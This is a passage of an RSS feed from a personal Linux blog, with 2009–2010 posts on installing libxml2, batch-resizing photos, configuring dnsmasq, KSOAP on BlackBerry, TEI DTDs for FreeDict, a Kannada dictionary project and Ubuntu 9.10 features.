<description>&lt;div style=&quot;text-align: justify;&quot;&gt;These day i've been working more on the XML files and I really love working with XML files. &lt;a href=&quot;http://xmlsoft.org/&quot;&gt;Libxml&lt;/a&gt; is one real good library out there for XML parsing and Creation. It was basically written as XML parser tool kit for GNOME but it can also be used outside the GNOME environment. It has been ported to wide variety of languages but it was basically written in C. In this post i'm just going to tell how to install the libxml on Debian based distro's.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;For writing programs using libxml and compiling you need libxml2-dev package to be installed on your machine. To install the libxml2-dev use the following command&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;blockquote&gt;sudo apt-get install libxml2-dev&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;To compile your program with gcc you need to provide the linker flags to find out about compilation and linker flags libxml2 comes with a handy tool called xml2-config.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;To print the pre-processor and compiler flags use the following command&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;xml2-config --cflags&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;To print the library linking information use the following command&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;xml2-config --libs&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;The linker option for gcc will be -lxml2. In my next post i'll be writing on how to create a simple XML file using libxml library, till then C'ya folks. :)&lt;br /&gt;&lt;/div&gt;
</description>
<pubDate>Sun, 03 Jan 2010 00:00:00 -0800</pubDate>
<link>http://copyninja.info/2010/01/installing-libxml-on-ubuntu.html</link>
<guid isPermaLink="true">http://copyninja.info/2010/01/installing-libxml-on-ubuntu.html</guid>
</item>



<item>
<title>Resizing Large photos in Linux</title>
<description>Last week Sunday went for small hiking with my collegues around Karkala my home town. We took around&amp;nbsp; 350 odd photos with a 12MP camera. Each picture was about 1MB with resolution more than 3000pixels. I was trying to resize all these photos and &lt;a href=&quot;http://aravindavk.in/&quot; mce_href=&quot;http://aravindavk.in/&quot;&gt;Aravinda&lt;/a&gt; pointed me to image magick tool convert. But I had a problem here all picture names were in this format &lt;span style=&quot;color: #993300;&quot;&gt;Picture xxx.jpg&lt;/span&gt; , space in the file name was causing problem. After searching for a while came accross &lt;span style=&quot;color: #993300;&quot;&gt;rename &lt;/span&gt;command to rename the files by removing space in the file name. Here is how you do it&lt;br /&gt;&lt;blockquote&gt;&lt;span style=&quot;color: #993300;&quot;&gt;&lt;code&gt;rename &quot;s/  *//g&quot; *.jpg&lt;/code&gt;&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;span style=&quot;color: #993300;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;This renamed all the files to &lt;span style=&quot;color: #993300;&quot;&gt;Picturexxx.jpg &lt;span style=&quot;color: black;&quot;&gt;(here the xxx is a number&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;). Next I used the following script to resize all the files at a time without loosing the quality&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;#!/bin/bash&lt;br /&gt;for i in `ls *jpg`&lt;br /&gt;do&lt;br /&gt;convert -resize 700 -quality 100% &quot;$i&quot; &quot;$i&quot;&lt;br /&gt;done&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;Well I'm happy now I saved a lot of space on my HDD and also uploaded photos easily to my picasa web albums. This is the reason why I like Linux more. It always comes with many amazing tools and you don't have to pay a penny for it.
</description>
<pubDate>Sat, 26 Dec 2009 00:00:00 -0800</pubDate>
<link>http://copyninja.info/2009/12/resizing-large-photos-in-linux.html</link>
<guid isPermaLink="true">http://copyninja.info/2009/12/resizing-large-photos-in-linux.html</guid>
</item>



<item>
<title>Improve speed of browsing using dnsmasq</title>
<description>&lt;p style=&quot;text-align: justify&quot;&gt;From past few days I was having this weird problem of unable to connect to Google search page few times a day. I was not sure what is causing this problem (since I was on Windows based machine I thought this might be doing of some unwanted program). Finally downloaded the &lt;a title=&quot;namebench&quot; href=&quot;http://code.google.com/p/namebench/&quot; target=&quot;_blank&quot;&gt;namebench, &lt;/a&gt;a dns benchmarking tool and checked which will be the fastest dns server for me that time I found out my primary and secondary dns is not replying for Google.com weird. This is causing me so much trouble so thought of having my own local dns cache. When searched bumped accross &lt;strong&gt;dnsmasq&lt;/strong&gt; and &lt;strong&gt;bind9&lt;/strong&gt;, bind9 being full fledged dns server and can be configured to work as dns cache also. But i felt dnsmasq (light weight dhcp and caching dns server) is sufficient for the time being. Well enough of story let me come to point in this point i'm going to tell how to configure dnsmasq ;).&lt;/p&gt;
&lt;p style=&quot;text-align: justify&quot;&gt;dnsmasq doesn't really require configuration it can work without any configurations also. First thing is how to install it (for debian based distros)&lt;/p&gt;

&lt;blockquote&gt;sudo apt-get install dnsmasq&lt;/blockquote&gt;
The configuration file for dnsmasq resides in /etc folder and names is dnsmasq.conf, by default everything in this file is commented out. Fist uncomment the following to lines
&lt;blockquote&gt;interface=ppp0
listen-address=127.0.0.1&lt;/blockquote&gt;
&lt;p style=&quot;text-align: justify&quot;&gt;You need to add proper value after = symbol. &lt;strong&gt;interface&lt;/strong&gt; tells dnsmasq to listen on specific interface this will be useful if you have multiple network interfaces and want dnsmasq to listen only on a particular interface. Since i'm using dialup my interface is ppp0, for users who are LAN or using broadband connections you can specify eth0 (more specifically ethN replace N with proper number depending on your machine configuration. To find out name of your interface use &lt;strong&gt;ifconfig&lt;/strong&gt; command).  &lt;strong&gt;listen-address&lt;/strong&gt; is very important one when you start dnsmasq it open and listens on port 53 this makes any one on the network to use your cache (and mostly lead to take advantages of vulnerability in the program) by adding 127.0.0.1 as value dnsmasq will accept request only from your local machine.&lt;/p&gt;

If you are intersted in checking if dnsmasq is working or not uncomment the line
&lt;blockquote&gt;log-queries&lt;/blockquote&gt;
Found at the end of the file. To monitor the log use following command
&lt;blockquote&gt;tail -f /var/log/syslog | grep dnsmasq -&lt;/blockquote&gt;
Finally if you don't want to use dns servers provided by your ISP (i really don't want to use because BSNL DNS is slow and they use Open DNS which i really hate for hijacking domains) create a file with list of dns name server ip's which you want to use and uncomment the line &lt;strong&gt;resolv-file&lt;/strong&gt;= and add the file name after = symbol. In my system i created a file by name myipresolver.conf in /etc and modified the line to look like this
&lt;blockquote&gt;resolv-file=/etc/myipresolver.conf&lt;/blockquote&gt;
If you are curious here is the content of the file
&lt;blockquote&gt;nameserver 127.0.0.1
nameserver 8.8.8.8
nameserver 8.8.4.4
nameserver 202.148.202.4
nameserver 202.148.200.3
nameserver 164.164.164.5&lt;/blockquote&gt;
By default I mean if you leave above mentioned property commented dnsmasq will read /etc/resolv.conf which contains ISP provided name servers. And ya one more thing don't forget to add &lt;strong&gt;nameserver 127.0.0.1&lt;/strong&gt; line to the top of your /etc/resolv.conf to use your newly created dns cache :).

If you find any mistakes in the post please do comment and correct me. C ya .....
</description>
<pubDate>Sat, 12 Dec 2009 00:00:00 -0800</pubDate>
<link>http://copyninja.info/2009/12/improve-speed-of-browsing-using-dnsmasq.html</link>
<guid isPermaLink="true">http://copyninja.info/2009/12/improve-speed-of-browsing-using-dnsmasq.html</guid>
</item>



<item>
<title>Working with SOAP service using KSOAP from Blackberry</title>
<description>You can easily work with any web service from&amp;nbsp; using KSOAP library.  Here i'm giving a sample code on how to do that. I'm not going to  explain anything though ;)&lt;br /&gt;&lt;pre name=&quot;code&quot; class=&quot;java&quot;&gt;String serviceUrl = &quot;Replace with URL to webservice&quot;;&lt;br /&gt;String serviceNameSpace = &quot;Replace with namespace of web service&quot;;&lt;br /&gt;String soapAction = &quot;URL to method name&quot;;&lt;br /&gt;String methodName = &quot;Replace with Name of method&quot;;&lt;br /&gt;SoapObject rpc = new SoapObject(serviceNamespace, methodName);&lt;br /&gt;rpc.addProperty(&quot;number1&quot;, 10);&lt;br /&gt;rpc.addProperty(&quot;number2&quot;, 20);&lt;br /&gt;SoapSerializationEnvelope envelope = new  SoapSerializationEnvelope(SoapEnvelope.VER11);&lt;br /&gt;envelope.bodyOut = rpc;&lt;br /&gt;envelope.dotNet = true;//&lt;b&gt;IF you are accessing .net based web service  this should be true&lt;/b&gt;&lt;br /&gt;envelope.encodingStyle = SoapSerializationEnvelope.ENC;&lt;br /&gt;HttpTransport ht = new HttpTransport(serviceUrl);&lt;br /&gt;ht.debug = true;&lt;br /&gt;ht.setXmlVersionTag(&quot;&quot;);&lt;br /&gt;int result = null;&lt;br /&gt;try&lt;br /&gt;{&lt;br /&gt;ht.call(soapAction, envelope);&lt;br /&gt;result = (envelope.getResult());&lt;br /&gt;}&lt;br /&gt;catch(org.xmlpull.v1.XmlPullParserException ex2){&lt;br /&gt;}&lt;br /&gt;catch(Exception ex){&lt;br /&gt;String bah = ex.toString();&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;Just note that SoapSerializationEnvelope.dotNet should be set to true  for .NET based web service.
</description>
<pubDate>Mon, 23 Nov 2009 00:00:00 -0800</pubDate>
<link>http://copyninja.info/2009/11/working-with-soap-service-using-ksoap-from-blackberry.html</link>
<guid isPermaLink="true">http://copyninja.info/2009/11/working-with-soap-service-using-ksoap-from-blackberry.html</guid>
</item>



<item>
<title>Installing TEI DTD's in Ubuntu</title>
<description>&lt;p style=&quot;text-align: justify&quot;&gt;First step is to install TEI DTD's which are required to validate the dictionary XML markup. In the how to's which I found in freedict website it was mentioned it may be there in Debian repostiory to check use the following command&lt;/p&gt;

&lt;blockquote&gt;sudo apt-cache search TEI&lt;/blockquote&gt;
&lt;p style=&quot;text-align: justify&quot;&gt;Even though command gave me big list of output I couldn't understand which package tools to install because there was no package which exactly had the TEI name in it. So to be more specific I tried sudo aptitude search TEI which didn't gave me any output indicating TEI specific package was not there in Ubuntu repository. So I went for manual download and install. Below are the steps which I followed to install DTD's on my machine&lt;!--more--&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify&quot;&gt;1. Download the tei0.3.1.zip which was  mentioned in the How To's from this &lt;a href=&quot;http://sourceforge.net/project/showfiles.php?group_id=106328&amp;amp;package_id=114572&quot; target=&quot;_blank&quot;&gt;link&lt;/a&gt; (P.S you may have to scroll down a bit to find this package).&lt;/p&gt;
&lt;p style=&quot;text-align: justify&quot;&gt;2. Next create a directory by name TEI in your home directory&lt;/p&gt;

&lt;blockquote&gt;mkdir ~/TEI&lt;/blockquote&gt;
&lt;p style=&quot;text-align: justify&quot;&gt;3. Copy the zip file to the TEI directory and unzip it. You can use following commands or you can do it from GUI&lt;/p&gt;

&lt;blockquote&gt;cp tei0.3.1.zip ~./TEI

cd ~./TEI

unzip tei0.3.1.zip&lt;/blockquote&gt;
&lt;p style=&quot;text-align: justify&quot;&gt;4. According to the How To's this zip file should have contained only DTD files but for my surprise I found a directory &lt;strong&gt;xml&lt;/strong&gt; with 2 subdirectories &lt;strong&gt;tei&lt;/strong&gt; and &lt;strong&gt;teip4&lt;/strong&gt;. After a bit of searching i found the files mentioned in the directory &lt;strong&gt;teip4/schema/dtd/. &lt;/strong&gt;For your references here is the list of file you will find in this directory&lt;/p&gt;

&lt;pre style=&quot;text-align: justify&quot;&gt;catalog.local   teiclas2.ent  teigen2.dtd   teind2.ent    teite2n.dtd
&lt;span style=&quot;text-decoration: line-through&quot;&gt;catalog.tei&lt;/span&gt;     teicore2.dtd  teigis2.ent   teinet2.dtd   teiterm2.dtd
catalog.xml     teicorp2.dtd  teihdr2.dtd   teipl2.dtd    teiterm2.ent
dummy.dtd       teidict2.dtd  teikey2.ent   teipros2.dtd  teitran2.dtd
&lt;span style=&quot;text-decoration: line-through&quot;&gt;index.html&lt;/span&gt;      teidict2.ent  teilink2.dtd  teisgml.dec   teitran2.ent
index.xml       teidram2.dtd  teilink2.ent  teishd2.dtd   teitsd2.dtd
tei2.dtd        teidram2.ent  teilite.dec   teispok2.dtd  teivers2.dtd
teiana2.dtd     teifig2.dtd   teilitex.dec  teispok2.ent  teivers2.ent
teiana2.ent     teifig2.ent   teilitex.dtd  teistr2.dtd   teiwsd2.dtd
teiback2.dtd    teifron2.dtd  teilitex.ent  teitc2.dtd    teixlite.dec
teicatalog.xml  teifs2.dtd    teimix2.dtd   teitc2.ent    &lt;span style=&quot;color: #ff0000&quot;&gt;xml.dcl&lt;/span&gt;
teicert2.dtd    teifsd2.dtd   teind2.dtd    teite2f.dtd   &lt;span style=&quot;color: #ff0000&quot;&gt;iso*ent&lt;/span&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: justify&quot;&gt;I copied the file list from the Free Dict how to and modified the list to reflect what you will find in the &lt;strong&gt;dtd&lt;/strong&gt; directory. As you can see the file names in red are extra (which was not there in original list) &lt;strong&gt;iso*ent &lt;/strong&gt;represents set of new files whoose name starts with &lt;strong&gt;iso&lt;/strong&gt; and have extension &lt;strong&gt;.ent&lt;/strong&gt;. You have 9 files which matches this regexp ;).&lt;/p&gt;
&lt;p style=&quot;text-align: justify&quot;&gt;5. Next step is to update the system catalog files to reflect the state of XML and SGML tree. The system catalog for SGML lies under &lt;strong&gt;/etc/sgml/&lt;/strong&gt; and for XML its under &lt;strong&gt;/etc/xml&lt;/strong&gt;. For updating the SGML catalog I used the &lt;strong&gt;update-catalog&lt;/strong&gt; command. For updating the XML catalog there is &lt;strong&gt;update-xmlcatalog&lt;/strong&gt; command but I was unable to figure out how to use it so manually updated the XML catalog.&lt;/p&gt;
&lt;p style=&quot;text-align: justify&quot;&gt;For updating the SGML catalog run following command&lt;/p&gt;

&lt;blockquote&gt;sudo update-catalog --add --super ~/TEI/xml/teip4/schema/dtd/catalog.local&lt;/blockquote&gt;
&lt;p style=&quot;text-align: justify&quot;&gt;One more thing in How To's it was mentioned &lt;strong&gt;catalog.tei&lt;/strong&gt; should be used to update the catalog files. But there was no catalog.tei in the zip which I used but when I had a look at the content catalog.tei given in the How To's page  and contents of catalog.local both were exactly similar except to new iso*ent files in catalog.local so I decided to use catalog.local instead. If you are so curious what this command does just open &lt;strong&gt;/etc/sgml/catalog&lt;/strong&gt; file in a text editor you will see it added only one line at end of the file. After executing the command your catalog file content should be like this&lt;/p&gt;

&lt;blockquote&gt;
&lt;p style=&quot;text-align: justify&quot;&gt;--
## ======================================================================
## /etc/sgml/catalog : SGML Open Style super catalog
## ======================================================================
## Please use update-catalog(8) to modify this file.
## ======================================================================
--
CATALOG /etc/sgml/xml-core.cat
CATALOG /etc/sgml/sgml-data.cat
CATALOG /etc/sgml/docbook-xml.cat
CATALOG /etc/sgml/metacity-common.cat
&lt;strong&gt;CATALOG /home/vasudev/TEI/xml/teip4/schema/dtd/catalog.local&lt;/strong&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;p style=&quot;text-align: justify&quot;&gt;P.S. Path may differ depending on your system configurations.&lt;/p&gt;
&lt;p style=&quot;text-align: justify&quot;&gt;Now to update XML catalog file open /etc/xml/catalog in a text editor you have to be su for saving the file so use sudo with your text editor command&lt;/p&gt;

&lt;blockquote&gt;
&lt;p style=&quot;text-align: justify&quot;&gt;eg: sudo gedit /etc/xml/catalog&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p style=&quot;text-align: justify&quot;&gt;Add following line to end of the file before &amp;lt;/catalog&amp;gt; tag&lt;/p&gt;

&lt;blockquote&gt;
&lt;p style=&quot;text-align: justify&quot;&gt;&amp;lt;delegatePublic publicIdStartString=&quot;-//TEI P4//DTD Main Document Type//EN&quot; catalog=&quot;file:///home/vasudev/TEI/xml/teip4/schema/dtd/catalog.xml&quot;/&amp;gt;
&amp;lt;delegateSystem systemIdStartString=&quot;http://www.tei-c.org/P4X/DTD/tei2.dtd&quot; catalog=&quot;file:///home/vasudev/TEI/xml/teip4/schema/dtd/catalog.xml&quot; /&amp;gt;
&amp;lt;delegateSystem systemIdStartString=&quot;http://www.tei-c.org/Guidelines/DTD/tei2.dtd&quot; catalog=&quot;file:///home/vasudev/TEI/xml/teip4/schema/dtd/catalog.xml&quot; /&amp;gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;p style=&quot;text-align: justify&quot;&gt;P.S: Change the path to catalog.xml file depending on your system.&lt;/p&gt;
&lt;p style=&quot;text-align: justify&quot;&gt;Ok thats it folks you are all set to go ahead with construction of dictionary. In my next posts i'm going to write on different ways of writing dictionary different tags that are used with their meaning followed by how to convert your tei file to dict dictionary using &lt;strong&gt;dict tools&lt;/strong&gt;. Have a nice day C'ya.&lt;/p&gt;
&lt;p style=&quot;text-align: justify&quot;&gt;P.S: In the whole post I was mentioning this &lt;a href=&quot;http://sourceforge.net/apps/mediawiki/freedict/index.php?title=FreeDict_HOWTO_-_4&quot; target=&quot;_blank&quot;&gt;How To's&lt;/a&gt; ;)&lt;/p&gt;
</description>
<pubDate>Sun, 15 Nov 2009 00:00:00 -0800</pubDate>
<link>http://copyninja.info/2009/11/installing-tei-dtds-in-ubuntu.html</link>
<guid isPermaLink="true">http://copyninja.info/2009/11/installing-tei-dtds-in-ubuntu.html</guid>
</item>



<item>
<title>FreeDict Basics</title>
<description>&lt;p style=&quot;text-align: justify&quot;&gt;FreeDict dictionaries are written using XML markup language which adhere to &lt;a href=&quot;http://www.tei-c.org/&quot; target=&quot;_blank&quot;&gt;Text Encoding Initiatives&lt;/a&gt; DTD. The main reason for using XML markup is it makes the dictionaries platform and application independent which means if you develop dictionary in this format its not only meant for Dictd you can convert this XML markup to become suitable with any other dictionary using proper tool. I'll tell about the conversion in my later posts. To know more about the TEI DTD and its pro's and con's please refer this &lt;a href=&quot;http://www.freedict.org/howto/ch02.html&quot; target=&quot;_blank&quot;&gt;link.&lt;/a&gt;&lt;/p&gt;

FreeDict recommends use of &lt;a href=&quot;http://www.gnu.org/licenses/gpl.html&quot; target=&quot;_blank&quot;&gt;GNU Public License v2&lt;/a&gt; (GPL v2) or &lt;a href=&quot;http://www.gnu.org/copyleft/fdl.html&quot; target=&quot;_blank&quot;&gt;GNU Free Documentation License&lt;/a&gt;. To read more on licensing please refer this &lt;a href=&quot;http://sourceforge.net/apps/mediawiki/freedict/index.php?title=FreeDict_HOWTO_-_1&quot; target=&quot;_blank&quot;&gt;link&lt;/a&gt;.
&lt;p style=&quot;text-align: justify&quot;&gt;Its better to write the dictionary in Unicode format especially if dictionary belongs to some local language (like Kannada). So make sure that the text editor which you are using supports unicode (UTF-8 encoding). Here is a list of Text Editor which supports Unicode Emacs, Xemacs, Gedit, Kedit etc. Wisely choose your editor before jumping to creating the dictionary.&lt;/p&gt;

So here is the How To's from the Free Dict org which gives more info on the topics I've mentioned here
&lt;ol&gt;
	&lt;li&gt;&lt;a href=&quot;http://www.freedict.org/howto/ch01.html&quot; target=&quot;_blank&quot;&gt;Licensing&lt;/a&gt;&lt;/li&gt;
	&lt;li&gt;&lt;a href=&quot;http://www.freedict.org/howto/ch02.html&quot;&gt;XML Markup&lt;/a&gt;&lt;/li&gt;
	&lt;li&gt;&lt;a href=&quot;http://www.freedict.org/howto/ch03.html&quot; target=&quot;_blank&quot;&gt;Unicode&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p style=&quot;text-align: justify&quot;&gt;These are the basics read it carefully. In my next post i'm going to tell how I installed the TEI DTD's and updated the system wide catalog in Ubuntu Karmic (hope it will work fine on debian also).&lt;/p&gt;
</description>
<pubDate>Sun, 15 Nov 2009 00:00:00 -0800</pubDate>
<link>http://copyninja.info/2009/11/freedict-basics.html</link>
<guid isPermaLink="true">http://copyninja.info/2009/11/freedict-basics.html</guid>
</item>



<item>
<title>English-Kannada Translation Dictionary for dictd</title>
<description>&lt;p style=&quot;text-align: justify&quot;&gt;I was thinking of starting this project from past one month, I was just waiting for some support. But finally I thought of starting on my own and later I can get some support. Well I'm talking about creating a English-Kannada translation dictionary for the dictd server. I've already written a post on how to install dictd on Ubuntu(also holds good for Debian) and configuring it with gnome dictionary which by default relies on INTERNET based dictionary servers. The same hold for dictionary on KDE environment also. Currently there is no free dictionary package available for English-Kannada and Vice versa. Two Indian language which already developed free dictionary are Hindi and Malayalam and these dictionaries are already available in Debian, Ubuntu repositories (and may be in other distro's also). So its my wish that even Kannada dictionary should also be present in the repository (both Eng-Kn and Kn-Eng) so users don't have to rely on INTERNET connection to translate a particular word from either language.&lt;/p&gt;
&lt;p style=&quot;text-align: justify&quot;&gt;I had been working on this from one week. I already setup an environment in my Ubuntu 9.10 for creating the dictionary and already created a sample dictionary of-course it contains one word as of know  :P but I should tell it works perfectly fine with dictd. I'm going to write a series of post on this blog which will act as documentation on how to setup the environment and proceed with creation of dictionary so in case if I couldn't finish this someone else who is interested can continue with project. Although I created a sample dictionary I should clearly tell that I'm not that good in Kannada to write a whole dictionary on my own I'm good in technical stuffs of creating the project that means I need help in language related stuffs like getting word list reviewing the translation and so on. So any of you are interested please do contact me :). From my next post i'm going to write on how to setup the things required to create the Free Dictionaries. Although there is good documentation available &lt;a href=&quot;http://sourceforge.net/apps/mediawiki/freedict/index.php?title=FreeDict_HOWTO_-_1&quot; target=&quot;_blank&quot;&gt;here &lt;/a&gt;and &lt;a href=&quot;http://wiki.tei-c.org/index.php/TEI-to-DICT_howto&quot; target=&quot;_blank&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;http://www.freedict.org/howto/&quot; target=&quot;_blank&quot;&gt;here&lt;/a&gt;, I had problems and struggled to solve so I'll be rewriting to help you guys out :).&lt;/p&gt;
&lt;p style=&quot;text-align: justify&quot;&gt;Here is a screen shot of kannada dictionary in action of-course as of now only apple is translated :P&lt;/p&gt;

&lt;table style=&quot;width: auto&quot; border=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;http://picasaweb.google.com/lh/photo/EjyBEEGIOcmdmlw33l6AqA?feat=embedwebsite&quot;&gt;&lt;img src=&quot;http://lh3.ggpht.com/_Pms4ehFPMfI/Sv7dnGV4J4I/AAAAAAAAA6E/M72rQiMoE18/s400/Screenshot-apple%20-%20Dictionary.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;font-family:arial,sans-serif;font-size:11px;text-align:right&quot;&gt;From &lt;a href=&quot;http://picasaweb.google.com/kamathvasudev/KarmicScreenShots?feat=embedwebsite&quot;&gt;Karmic Screen Shots&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p style=&quot;text-align: justify&quot;&gt;Well thats it hoping to get some good support from you guys. Wait for my next posts on How To's till then C'ya.&lt;/p&gt;
</description>
<pubDate>Sat, 14 Nov 2009 00:00:00 -0800</pubDate>
<link>http://copyninja.info/2009/11/english-kannada-translation-dictionary-for-dictd.html</link>
<guid isPermaLink="true">http://copyninja.info/2009/11/english-kannada-translation-dictionary-for-dictd.html</guid>
</item>



<item>
<title>New Features in Ubuntu 9.10 (Karmic Koala)</title>
<description>&lt;div style=&quot;text-align: justify;&quot;&gt;Finally I'm able to connect to internet from new Ubuntu 9.10 (Karmic Koala). After waiting for a year and half struggling with many distro's  finally few tweeking arround helped me to dial my Huwei ETS 2288 WLL modem to internet from the Karmic Koala, I should thank &lt;a href=&quot;http://platonic.techfiz.info/&quot; target=&quot;_blank&quot;&gt;Omshivaprakash&lt;/a&gt;'s for his post on Hacking BSNL EvDo on Linux and Ubuntu forums. Well now comming to the point Ubuntu Karmic has got many new features with it, I'm going to write about few of them which amazed me.&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;1. The installation speed and Method &lt;/b&gt;: I should tell the installation screens with slide shows and the speed of installation impressed me very much. Till now propereitory OS like Windows and other Linux distribution like RHEL, Novel SUSE and Mandriva had this slide show features during installation. Due to this feature you won't feel bored any more during installation ;). Speed of installation is approximate 12 minutes  on a Laptop with 2GB RAM. It took only 8 minutes after the partition, pretty awsome ah..&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;2.Boot up and Shutdown speeds&lt;/b&gt; : Unlike previous version boot up is pretty fast around 16 seconds with flashy screens. So is shutdown with in 2-3 seconds your system is off. This speed is reminded me of Mac Leopard only difference Mac is having Micro Kernel where as Ubuntu with Monolithic Kernel.&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;3. iBus : &lt;/b&gt;This feature impressed me pretty much old SCIM is now replace with iBus (Intelligent input Bus) which has all the language preloaded including Kannada. I didn't have to install any kannada fonts all were there in iBus by default. So for new users of Ubuntu who need local language doesn't have to undergo trouble of downloading and installing fonts and db's of any more, thanks to the Karmic team. Here is screen shot of the iBus in my system. Check out how the kannada fonts appears in firefox without installing any fonts by myself.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;table border=&quot;0&quot; style=&quot;width: auto;&quot;&gt;&lt;tbody&gt;&lt;tr&gt; &lt;td&gt;&lt;a href=&quot;http://picasaweb.google.com/lh/photo/mHFzsjjNb66L6uSgMWgUDg?feat=embedwebsite&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;http://lh4.ggpht.com/_Pms4ehFPMfI/Su08WicEVuI/AAAAAAAAA50/Or01AumiOME/s400/Screenshot-1.jpg&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr&gt; &lt;td style=&quot;font-family: arial,sans-serif; font-size: 11px; text-align: right;&quot;&gt;From &lt;a href=&quot;http://picasaweb.google.com/kamathvasudev/KarmicScreenShots?feat=embedwebsite&quot;&gt;Karmic Screen Shots&lt;/a&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table border=&quot;0&quot; style=&quot;width: auto;&quot;&gt;&lt;tbody&gt;&lt;tr&gt; &lt;td&gt;&lt;a href=&quot;http://picasaweb.google.com/lh/photo/AqiaaWGfLYsDA1o-5-Cobw?feat=embedwebsite&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;http://lh3.ggpht.com/_Pms4ehFPMfI/Su0zg_fOR8I/AAAAAAAAA5I/vCnNmDf5NmQ/s288/Screenshot-IBus%2520Preferences-1.jpg&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr&gt; &lt;td style=&quot;font-family: arial,sans-serif; font-size: 11px; text-align: right;&quot;&gt;From &lt;a href=&quot;http://picasaweb.google.com/kamathvasudev/KarmicScreenShots?feat=embedwebsite&quot;&gt;Karmic Screen Shots&lt;/a&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table border=&quot;0&quot; style=&quot;width: auto;&quot;&gt;&lt;tbody&gt;&lt;tr&gt; &lt;td&gt;&lt;a href=&quot;http://picasaweb.google.com/lh/photo/PSSWBw7DgThgibOZniVmKw?feat=embedwebsite&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;http://lh3.ggpht.com/_Pms4ehFPMfI/Su0zp3cWFWI/AAAAAAAAA5M/rZ8BnkbZW8k/s288/Screenshot-IBus%2520Preferences.jpg&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr&gt; &lt;td style=&quot;font-family: arial,sans-serif; font-size: 11px; text-align: right;&quot;&gt;From &lt;a href=&quot;http://picasaweb.google.com/kamathvasudev/KarmicScreenShots?feat=embedwebsite&quot;&gt;Karmic Screen Shots&lt;/a&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;3. Ubuntu Software Center : &lt;/b&gt;Well I love this new interface to Add/Remove program now called as Ubuntu software center. I can install multiple software at the same time i mean while i'm installing one software I can go back select another software and install it, pretty nice feature.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;b&gt;4. Preloaded themes and Wall paper&lt;/b&gt; : Till now Ubuntu came with only 2 wall papers and few now there are many cool wall papers and themes checkout the following screen shot.&lt;br /&gt;&lt;table border=&quot;0&quot; style=&quot;width: auto;&quot;&gt;&lt;tbody&gt;&lt;tr&gt; &lt;td&gt;&lt;a href=&quot;http://picasaweb.google.com/lh/photo/HRRbNeUJJGLrBH8a_0HTcw?feat=embedwebsite&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;http://lh3.ggpht.com/_Pms4ehFPMfI/Su03bfhQNxI/AAAAAAAAA5o/h-4BXKWwDfM/s288/Screenshot-Appearance%2520Preferences.jpg&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr&gt; &lt;td style=&quot;font-family: arial,sans-serif; font-size: 11px; text-align: right;&quot;&gt;From &lt;a href=&quot;http://picasaweb.google.com/kamathvasudev/KarmicScreenShots?feat=embedwebsite&quot;&gt;Karmic Screen Shots&lt;/a&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;5. Cloud Computing support : &lt;/b&gt;Last but not the least the support for cloud computing starting with Ubunut One which allows you to share yor files, photos and videos with friends and family and also allows you to access it from any computer in any part of the world. Currently Ubuntu one provides 2GB space for free and for more space you may need to pay a little amount plus each Ubuntu has the Ubuntu one client which allows accessing your files from the system itself. One more feature is export option in F-Spot which allows you to directly upload the photos into Flickr, Picasa Web Albums etc. Check the following screen shots&lt;br /&gt;&lt;/div&gt;&lt;br 